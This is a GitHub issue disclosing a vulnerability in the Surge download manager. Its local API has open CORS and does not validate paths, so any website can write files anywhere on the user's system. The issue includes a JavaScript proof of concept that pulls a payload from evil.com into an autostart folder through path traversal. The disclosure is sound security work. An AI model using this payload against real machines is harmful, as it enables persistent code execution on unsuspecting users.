Skip to content

Any website can trigger downloads to arbitrary paths while Surge is running #4

@o1x3

Description

@o1x3

Local HTTP API allows any website to trigger file downloads to arbitrary paths on the user’s system while Surge is running.

Root causes

  1. CORS fully open
w.Header().Set("Access-Control-Allow-Origin", "*")

Allows any website to send requests to the local server.

  1. No validation of path or filename
type DownloadRequest struct {
    URL      string `json:"url"`
    Filename string `json:"filename,omitempty"` // used directly
    Path     string `json:"path,omitempty"`     // used directly
}

User-controlled values are used without sanitization.

Proof of concept

From any webpage:

fetch('http://127.0.0.1:8080/download', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    url: 'http://evil.com/payload.sh',
    path: '../../../.config/autostart',
    filename: 'updater.desktop'
  })
})

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions